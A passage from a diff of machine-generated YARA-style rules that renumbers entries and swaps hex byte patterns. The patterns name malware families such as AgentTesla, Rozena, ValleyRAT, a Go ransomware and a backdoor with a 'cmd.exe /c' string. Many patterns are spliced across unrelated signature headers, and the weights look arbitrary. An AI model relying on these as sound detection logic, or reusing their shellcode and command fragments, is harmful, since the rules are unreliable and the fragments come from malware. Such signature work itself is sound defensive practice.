01 52 65 6c 65 61 73 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 00 00 78 6d 00 00 03 00 03 00 02 00 21 23 54 45 } //25635 + $a_72_1 = {6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4c 4d 21 4d 54 42 00 02 00 20 01 32 c1 8b 15 4c 7d 4c 00 a2 26 70 4c 00 0c 30 c0 e8 04 25 ff 00 00 00 52 89 44 24 0c db 44 24 0c 01 00 1e 03 8b c8 c1 e1 04 23 d1 33 c9 8a 0d 90 01 0a 8b 15 14 70 4c 00 83 e2 } //14924 + $a_d1_2 = {c2 90 00 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 74 75 78 4e 65 74 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 10 01 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 01 00 10 01 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 01 00 10 01 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a 61 6e 5f 57 69 6e 33 32 5f 50 6c 61 62 69 74 00 01 00 13 03 4b d3 91 } //3848 condition: - ((#a_5f_0 & 1)*25635+(#a_32_1 & 1)*14918+(#a_00_2 & 1)*1032) >=2 + ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*14924+(#a_d1_2 & 1)*3848) >=2 } -rule _InfrastructureShared_6636{ +rule _InfrastructureShared_6986{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4c 4d 21 4d 54 42 00 02 00 20 01 32 c1 8b 15 4c 7d 4c 00 a2 26 70 4c 00 0c 30 c0 e8 04 25 ff 00 00 00 52 89 44 24 0c db 44 24 0c 01 00 1e 03 8b c8 c1 e1 } //21539 + $a_33_1 = {8a 0d ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 15 14 70 4c 00 83 e2 08 0f af d1 0b c2 90 00 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 74 75 78 4e 65 74 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 10 01 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 01 00 10 01 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 01 00 10 01 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a 61 6e 5f 57 69 6e 33 32 5f 50 6c 61 62 69 74 00 01 00 13 03 4b d3 91 49 a1 80 91 42 83 b6 33 28 36 6b 90 90 97 } //8964 + condition: + ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*8964) >=3 + +} +rule _InfrastructureShared_6987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69264,7 +72942,7 @@ rule _InfrastructureShared_6636{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*4096+(#a_54_2 & 1)*1400) >=3 } -rule _InfrastructureShared_6637{ +rule _InfrastructureShared_6988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69276,7 +72954,7 @@ rule _InfrastructureShared_6637{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*-29951+(#a_73_2 & 1)*28515) >=3 } -rule _InfrastructureShared_6638{ +rule _InfrastructureShared_6989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69288,7 +72966,7 @@ rule _InfrastructureShared_6638{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*28261+(#a_65_2 & 1)*29285) >=3 } -rule _InfrastructureShared_6639{ +rule _InfrastructureShared_6990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69300,7 +72978,7 @@ rule _InfrastructureShared_6639{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*8302+(#a_74_2 & 1)*28274) >=3 } -rule _InfrastructureShared_6640{ +rule _InfrastructureShared_6991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69312,7 +72990,7 @@ rule _InfrastructureShared_6640{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32503+(#a_69_2 & 1)*28515) >=3 } -rule _InfrastructureShared_6641{ +rule _InfrastructureShared_6992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69324,7 +73002,7 @@ rule _InfrastructureShared_6641{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_6d_2 & 1)*0) >=3 } -rule _InfrastructureShared_6642{ +rule _InfrastructureShared_6993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69336,7 +73014,7 @@ rule _InfrastructureShared_6642{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*25705+(#a_33_2 & 1)*16642) >=3 } -rule _InfrastructureShared_6643{ +rule _InfrastructureShared_6994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -69348,116 +73026,166 @@ rule _InfrastructureShared_6643{ ((#a_46_0 & 1)*21283+(#a_75_1 & 1)*29541+(#a_63_2 & 1)*29477) >=3 } -rule _InfrastructureShared_6644{ +rule _InfrastructureShared_6995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 6f 6f 62 65 78 2e 43 21 64 68 61 00 01 00 0b 01 63 6c 6f 73 65 73 6f 63 6b 65 74 01 00 19 00 47 65 74 55 73 65 72 4e 61 6d 65 41 00 00 00 00 25 73 2a } //21539 $a_2a_1 = {73 01 00 10 01 25 73 5c 63 6d 64 2e 65 78 65 20 2f 63 20 25 73 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 56 69 72 54 6f 6f 6c } //10794 - $a_6e_2 = {32 2f 43 65 65 49 6e 6a 65 63 74 2e 67 65 6e 21 4a 56 00 01 00 16 01 80 f1 3b 80 f2 56 88 4c 24 0e 0f b6 48 0c 88 54 24 0f 0f b6 50 0d 01 00 14 01 81 c2 00 01 00 00 c1 e2 08 03 d7 8a 14 13 88 14 30 40 3b c1 01 00 0e 01 b8 90 90 90 90 89 06 88 46 04 8b 44 24 24 00 00 78 6d 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a } //22330 + $a_6e_2 = {32 2f 43 65 65 49 6e 6a 65 63 74 2e 67 65 6e 21 4a 56 00 01 00 16 01 80 f1 3b 80 f2 56 88 4c 24 0e 0f b6 48 0c 88 54 24 0f 0f b6 50 0d 01 00 14 01 81 c2 00 01 00 00 c1 e2 08 03 d7 8a 14 13 88 14 30 40 3b c1 01 00 0e 01 b8 90 90 90 90 89 06 88 46 04 8b 44 24 24 00 00 78 6d 00 00 04 00 04 00 02 00 21 23 48 53 54 52 } //22330 condition: ((#a_4c_0 & 1)*21539+(#a_2a_1 & 1)*10794+(#a_6e_2 & 1)*22330) >=3 } -rule _InfrastructureShared_6645{ +rule _InfrastructureShared_6996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_72_0 = {6f 6f 6c 3a 57 69 6e 33 32 2f 43 65 65 49 6e 6a 65 63 74 2e 67 65 6e 21 4a 56 00 01 00 16 01 80 f1 3b 80 f2 56 88 4c 24 0e 0f b6 48 0c 88 54 24 0f 0f b6 50 0d 01 00 14 01 81 c2 00 01 00 00 c1 e2 08 03 d7 8a 14 13 88 14 30 40 3b c1 01 00 0e 01 b8 90 90 90 90 89 06 88 46 04 8b 44 24 24 00 00 78 6d 00 00 04 00 04 00 } //22051 - $a_23_1 = {45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 42 21 4d 54 42 00 03 00 } //2 - $a_c3_2 = {d5 09 75 81 e2 e1 a9 65 02 74 90 01 01 81 fb 7e bf ea 32 f7 e1 0f bd d1 31 c2 11 d6 81 f2 98 53 83 0b 3d 79 bc 11 03 eb 90 01 01 29 d1 81 c6 90 00 01 00 07 01 2e 66 78 75 74 63 6d 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 33 30 32 21 4d 54 42 00 01 00 06 81 01 50 4c 4f 4b 4d 33 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 13 03 58 0d 09 20 00 90 01 01 01 00 fe 04 13 06 11 06 2d 90 00 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 00 12 01 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 47 } //820 + $a_23_1 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 43 41 21 4d 54 42 00 } //2 + $a_03_2 = {11 01 11 05 16 11 06 6f ?? 00 00 0a 38 00 00 00 00 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 } //3 condition: - ((#a_72_0 & 1)*22051+(#a_23_1 & 1)*2+(#a_c3_2 & 1)*820) >=3 + ((#a_72_0 & 1)*22051+(#a_23_1 & 1)*2+(#a_03_2 & 1)*3) >=3 } -rule _InfrastructureShared_6646{ +rule _InfrastructureShared_6997{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 43 41 21 4d 54 42 00 03 00 29 03 11 01 11 05 16 11 06 6f 90 01 01 00 00 0a 38 00 00 00 00 11 04 11 05 16 11 05 8e 69 6f 90 01 01 00 00 0a 25 13 06 16 90 00 01 00 10 01 46 72 6f 6d } //18467 + $a_65_1 = {34 53 74 72 69 6e 67 00 00 78 6d 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 42 21 4d 54 42 00 03 00 34 03 f7 c3 0c d5 09 75 81 e2 e1 a9 65 02 74 90 01 01 81 fb 7e bf ea 32 f7 e1 0f bd d1 31 c2 11 d6 81 f2 98 53 83 0b 3d 79 bc 11 03 eb 90 01 01 29 d1 81 c6 90 00 01 00 07 01 2e 66 } //24898 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24898) >=4 + +} +rule _InfrastructureShared_6998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 42 21 4d 54 42 00 03 00 34 03 f7 c3 0c d5 09 75 81 e2 e1 a9 65 02 74 90 01 01 81 fb 7e bf ea 32 f7 e1 0f bd d1 31 c2 11 d6 81 f2 98 53 83 0b } //21539 - $a_11_1 = {eb 90 01 01 29 d1 81 c6 90 00 01 00 07 01 2e 66 78 75 74 63 6d 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 33 30 32 21 4d 54 42 00 01 00 06 81 01 50 4c 4f 4b 4d 33 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 13 03 58 0d 09 20 00 90 01 01 01 00 fe 04 13 06 11 06 2d 90 00 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 } //31037 + $a_11_1 = {eb 90 01 01 29 d1 81 c6 90 00 01 00 07 01 2e 66 78 75 74 63 6d 00 00 78 6d 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 33 00 02 00 15 80 01 64 65 66 61 75 6c 74 2e 77 65 62 65 64 69 74 2e 63 6f 2e 6b 72 01 00 0d 80 01 77 65 62 65 64 5f 64 61 74 2e 70 68 70 01 00 13 80 01 57 65 62 45 64 69 74 20 44 69 61 67 6e 6f 73 74 69 63 73 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 33 30 32 21 4d 54 42 00 } //31037 condition: ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*31037) >=4 } -rule _InfrastructureShared_6647{ +rule _InfrastructureShared_6999{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 33 00 02 00 15 80 01 64 65 66 61 75 6c 74 2e 77 65 62 65 64 69 74 2e 63 6f 2e 6b 72 01 00 0d 80 01 77 65 62 65 64 5f 64 61 74 2e 70 68 70 01 00 13 80 01 } //16675 + $a_45_1 = {69 74 20 44 69 61 67 6e 6f 73 74 69 63 73 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 33 30 32 21 4d 54 42 00 01 00 06 81 01 50 4c 4f 4b 4d 33 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 13 03 58 0d 09 } //25943 + $a_01_2 = {01 01 00 fe 04 13 06 11 06 2d 90 00 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 48 31 21 4d 54 42 00 01 00 0f 81 01 75 6e 64 65 72 6f 70 64 65 6c 65 6e 64 65 73 01 00 0e 81 01 63 6f 75 6e 74 65 72 74 72 65 61 73 6f 6e 01 00 0c 81 01 74 68 72 75 6d 6d 65 64 2e 65 78 65 01 00 09 81 01 73 76 61 6e 65 73 61 6e 67 00 00 78 6d 00 00 } //32 + condition: + ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*25943+(#a_01_2 & 1)*32) >=4 + +} +rule _InfrastructureShared_7000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 33 30 32 21 4d 54 42 00 01 00 06 81 01 50 4c 4f 4b 4d 33 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 13 03 58 0d 09 20 00 90 01 01 01 00 fe 04 13 06 11 06 2d 90 00 01 } //18467 - $a_01_1 = {47 65 74 50 69 78 65 6c 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 00 12 01 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 47 6f 01 00 12 01 61 65 73 43 69 70 68 65 72 29 2e 45 6e 63 72 79 70 74 01 00 0c 01 2f 72 61 6e 73 6f 6d 77 61 72 65 2d 00 00 78 6d 00 00 04 00 } //2048 - $a_00_2 = {21 23 41 4c 46 } //4 !#ALF - $a_6f_3 = {61 6e 3a 57 69 6e 33 32 2f 59 61 62 61 69 2e 41 21 64 68 61 00 01 00 0b 01 64 65 6b 69 74 61 20 5b 25 64 5d 01 00 09 01 79 61 62 61 69 3a 20 25 73 01 00 05 01 72 69 6e 6a 69 01 00 0c 01 75 73 65 72 3a 20 25 73 25 73 25 73 01 00 0d 01 5f 68 69 73 74 6f 72 79 73 2e 63 73 76 00 00 78 6d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //21562 + $a_01_1 = {47 65 74 50 69 78 65 6c 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 48 31 21 4d 54 42 00 01 00 0f 81 01 75 6e 64 65 72 6f 70 64 65 6c 65 6e 64 65 73 01 00 0e 81 01 63 6f 75 6e 74 65 72 74 72 65 61 73 6f 6e 01 00 0c 81 01 74 68 72 75 6d 6d 65 64 2e 65 78 65 01 00 09 81 01 73 76 61 6e 65 73 61 6e 67 00 00 78 6d 00 00 04 00 } //2048 + $a_00_2 = {21 23 53 4c } //4 !#SL + $a_69_3 = {36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 00 12 01 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 47 6f 01 00 12 01 61 65 73 43 69 70 68 65 72 29 2e 45 6e 63 72 79 70 74 01 00 0c 01 2f 72 61 6e 73 6f 6d } //14918 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_00_2 & 1)*4+(#a_6f_3 & 1)*21562) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_00_2 & 1)*4+(#a_69_3 & 1)*14918) >=4 } -rule _InfrastructureShared_6648{ +rule _InfrastructureShared_7001{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 48 31 21 4d 54 42 00 01 00 0f 81 01 75 6e 64 65 72 6f 70 64 65 6c 65 6e 64 65 73 01 00 0e 81 01 63 6f 75 6e 74 65 72 74 72 65 61 73 6f 6e 01 00 0c 81 01 74 68 72 75 6d 6d 65 64 2e 65 78 65 01 00 } //18467 + $a_73_1 = {61 } //-32503 a + $a_61_2 = {67 00 00 78 6d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 00 12 01 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 47 6f 01 00 12 01 61 65 73 43 69 70 68 65 72 29 2e 45 6e 63 72 79 70 74 01 00 0c 01 2f 72 61 6e 73 6f 6d 77 61 72 65 2d 00 } //25966 + $a_00_3 = {00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 61 62 61 69 2e 41 21 64 68 61 00 01 00 0b 01 64 65 6b 69 74 61 20 5b 25 64 5d 01 00 09 01 79 61 62 61 69 3a 20 25 73 01 00 05 01 72 69 6e 6a 69 01 00 0c 01 75 73 65 72 3a 20 25 73 25 73 25 73 01 00 0d 01 5f 68 69 73 74 6f 72 79 73 2e 63 73 76 00 } //30720 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32503+(#a_61_2 & 1)*25966+(#a_00_3 & 1)*30720) >=4 + +} +rule _InfrastructureShared_7002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {57 69 6e 36 34 2f 50 61 75 77 61 62 72 61 6e 73 2e 41 00 01 00 0c 01 6d 61 69 6e 2f 65 6e 63 72 79 70 74 01 00 12 01 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 47 6f 01 00 12 01 61 65 73 43 69 70 68 65 72 29 2e 45 6e 63 72 } //21283 楗㙮⼴慐睵扡慲獮䄮Āఀ洁楡⽮湥牣灹Ŵሀ愁獥攮据祲瑰求捯䝫ůሀ愁獥楃桰牥⸩湅牣 $a_01_1 = {00 0c 01 2f 72 61 6e 73 6f 6d 77 61 72 65 2d 00 00 78 6d 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 61 62 61 69 2e 41 21 64 68 61 00 01 00 0b 01 64 65 6b 69 74 61 20 5b 25 64 5d 01 00 09 01 79 61 62 61 69 3a 20 25 73 01 00 05 01 72 69 6e 6a 69 01 00 0c 01 75 73 65 72 3a 20 25 73 25 73 25 73 01 00 0d 01 5f } //28793 - $a_74_2 = {72 79 73 2e 63 73 76 00 00 78 6d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 47 56 41 21 4d 54 42 00 02 00 1e 01 72 01 00 00 70 d0 07 00 00 02 28 12 00 00 0a 6f 13 00 00 0a 73 14 00 00 0a 80 01 00 00 04 03 00 1a 01 28 09 00 00 0a 02 6f 0a 00 00 0a 0a dd 07 00 00 00 26 73 0b 00 } //26984 - $a_06_3 = {2a 00 00 78 6d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 49 42 4d 41 73 73 69 73 74 4f 6e 53 69 74 65 00 01 00 0e 00 49 42 4d 5f 54 69 76 6f 6c 69 5f 57 69 6e 01 00 07 00 69 62 6d 2e 74 72 63 01 00 0a 00 49 42 4d 20 54 69 76 6f 6c 69 01 00 08 00 49 42 4d 20 43 6f 72 70 01 00 12 80 01 49 42 4d 20 41 73 73 69 73 74 20 4f 6e 2d 73 69 74 65 00 00 78 6d 00 00 06 00 } //2560 + $a_74_2 = {72 79 73 2e 63 73 76 00 00 78 6d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 49 42 4d 41 73 73 69 73 74 4f 6e 53 69 74 65 00 01 00 0e 00 49 42 4d 5f 54 69 76 6f 6c 69 5f 57 69 6e 01 00 07 00 69 62 6d 2e 74 72 63 01 00 0a 00 49 42 4d 20 54 69 76 6f 6c 69 01 00 08 00 49 42 4d 20 43 6f 72 70 01 00 12 80 01 49 42 4d 20 41 73 73 69 73 74 20 4f 6e } //26984 + $a_74_3 = {00 00 78 6d 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 41 21 4d 54 42 00 03 00 1b 03 e8 2a 08 00 00 eb 23 48 8d 1d 90 01 04 48 8d 35 b5 7b 00 00 48 39 f3 74 10 90 00 03 00 21 03 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 90 01 04 31 c9 ff d0 e8 63 05 00 00 48 } //29485 condition: - ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*28793+(#a_74_2 & 1)*26984+(#a_06_3 & 1)*2560) >=4 + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*28793+(#a_74_2 & 1)*26984+(#a_74_3 & 1)*29485) >=4 } -rule _InfrastructureShared_6649{ +rule _InfrastructureShared_7003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 61 62 61 69 2e 41 21 64 68 61 00 01 00 0b 01 64 65 6b 69 74 61 20 5b 25 64 5d 01 00 09 01 79 61 62 61 69 3a 20 25 73 01 00 05 01 72 69 6e 6a 69 01 00 0c 01 75 73 65 72 3a 20 25 73 25 73 } //16675 $a_00_1 = {0d } //29477 - $a_69_2 = {74 6f 72 79 73 2e 63 73 76 00 00 78 6d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 47 56 41 21 4d 54 42 00 02 00 1e 01 72 01 00 00 70 d0 07 00 00 02 28 12 00 00 0a 6f 13 00 00 0a 73 14 00 00 0a 80 01 00 00 04 03 00 1a 01 28 09 00 00 0a 02 6f 0a } //24321 - $a_0a_3 = {dd 07 00 00 00 26 73 0b 00 00 } //0 - $a_2a_4 = {00 78 6d 00 00 05 } //31242 砀mԀ + $a_69_2 = {74 6f 72 79 73 2e 63 73 76 00 00 78 6d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 49 42 4d 41 73 73 69 73 74 4f 6e 53 69 74 65 00 01 00 0e 00 49 42 4d 5f 54 69 76 6f 6c 69 5f 57 69 6e 01 00 07 00 69 62 6d 2e 74 72 63 01 00 0a 00 49 42 4d 20 54 69 76 6f 6c 69 01 00 08 00 49 42 4d 20 43 6f 72 70 01 00 12 80 01 } //24321 + $a_20_3 = {73 73 69 73 74 20 4f 6e 2d 73 69 74 65 00 00 78 6d 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 41 21 4d 54 42 00 03 00 1b 03 e8 2a 08 00 00 eb 23 48 8d 1d 90 01 04 48 8d } //16969 + $a_00_4 = {00 48 39 f3 74 10 90 00 03 00 21 03 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 90 01 04 31 c9 ff d0 e8 63 05 00 00 48 8b 0d 81 32 00 00 90 00 00 00 78 6d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 41 54 2e 41 42 4b 21 4d 54 42 00 02 00 28 03 0f 10 04 02 66 0f ef c1 0f 11 04 02 0f 90 01 01 44 02 10 66 0f ef c1 0f 11 } //-19147 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29477+(#a_69_2 & 1)*24321+(#a_0a_3 & 1)*0+(#a_2a_4 & 1)*31242) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29477+(#a_69_2 & 1)*24321+(#a_20_3 & 1)*16969+(#a_00_4 & 1)*-19147) >=4 } -rule _InfrastructureShared_6650{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 47 56 41 21 4d 54 42 00 02 00 1e 01 72 01 00 00 70 d0 07 00 00 02 28 12 00 00 0a 6f 13 00 00 0a 73 14 00 00 0a 80 01 00 00 04 03 00 1a 01 28 09 00 00 0a 02 6f } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_6651{ +rule _InfrastructureShared_7004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 49 42 4d 41 73 73 69 73 74 4f 6e 53 69 74 65 00 01 00 0e 00 49 42 4d 5f 54 69 76 6f 6c 69 5f 57 69 6e 01 00 07 00 69 62 6d 2e 74 72 63 01 00 0a 00 49 42 4d 20 54 69 76 6f 6c 69 01 00 08 00 49 42 4d 20 43 6f 72 70 01 00 12 80 01 49 42 4d 20 41 73 } //18467 $a_74_1 = {4f 6e 2d 73 69 74 65 00 00 78 6d 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 41 21 4d 54 42 00 03 00 1b 03 e8 2a 08 00 00 eb 23 48 8d 1d 90 01 04 48 8d 35 b5 7b 00 00 48 39 f3 74 10 90 00 03 00 21 03 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 90 01 04 31 c9 ff d0 e8 63 05 00 00 48 8b 0d 81 } //26995 - $a_6d_3 = {00 07 00 07 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 45 78 4d 61 74 74 65 72 2e 45 00 01 00 08 01 73 79 6e 63 2e 65 78 65 01 00 08 01 73 79 6e 63 2e 70 64 62 01 00 08 01 73 79 6e 63 5f 65 6e 63 03 00 0c 01 52 65 6e 63 69 2e 53 73 68 4e 65 74 03 00 0d 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 00 00 78 6d 00 00 0a 00 0a 00 01 00 } //0 - $a_4c_4 = {3a 